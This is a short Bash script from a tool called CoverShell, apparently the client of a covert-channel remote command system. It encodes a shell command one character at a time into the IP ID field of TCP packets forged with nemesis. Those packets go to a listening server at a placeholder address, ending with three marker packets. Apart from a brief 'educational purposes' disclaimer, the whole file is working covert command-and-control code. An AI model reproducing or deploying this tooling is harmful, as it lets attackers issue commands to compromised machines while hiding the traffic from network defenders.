#!/bin/bash -
#
################################################################################################
# Autor: Raúl Rodriguez y Joaquín Moreno Garijo
# Fecha: 26 de octubre de 2010
# Copyright 2010 S2 Grupo
#
# This file is part of CoverShell
#
# CoverShell is free software: you can redistribute it and/or modify it under the terms of 
# the GNU General Public License as published by the Free Software Foundation, either version 
# of the License, or (at your option) any later version.
#
# CoverShell is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without 
# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See 
# the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with CoverShell. 
# If not, see <http://www.gnu.org/licenses/>.
#
# Detalles sobre su utilización pueden encontrarse en la siguiente 
# página web: http://www.securityartwork.es/2010/10/26/covert-channels/
#
# La información aquí proporcionada se ofrece al público únicamente fines educativos, 
# no siendo los autores responsables de un uso indebido y malintencionado de la herramienta.
#
################################################################################################

NEMESIS=/usr/bin/nemesis

###################
#Poner IP del servidor
IP_DST=10.X.X.X
DPORT=8888
###################

IP_ORIGEN=192.168.X.X
SPORT=6666

COMANDO="$NEMESIS tcp -S $IP_ORIGEN -x $SPORT -D $IP_DST -y $DPORT -fA -I"

[ $# -ne 1 ] &&
{
        echo "ERROR: $0 \"orden\""
        echo "Recuerda poner las comillas"
}

#Obtenemos la orden a ejecutar
comando=$1
#echo $comando

OFS=$IFS
IFS="
"
for i in `echo $comando | fold -w1`;
do
        int=`printf "%d\n" \'$i`
        #echo $int
        IFS=$OFS
        $COMANDO $int
        IFS="
"
done
IFS=$OFS

#Finalizacion
$COMANDO 255
$COMANDO 255
$COMANDO 255

exit 0
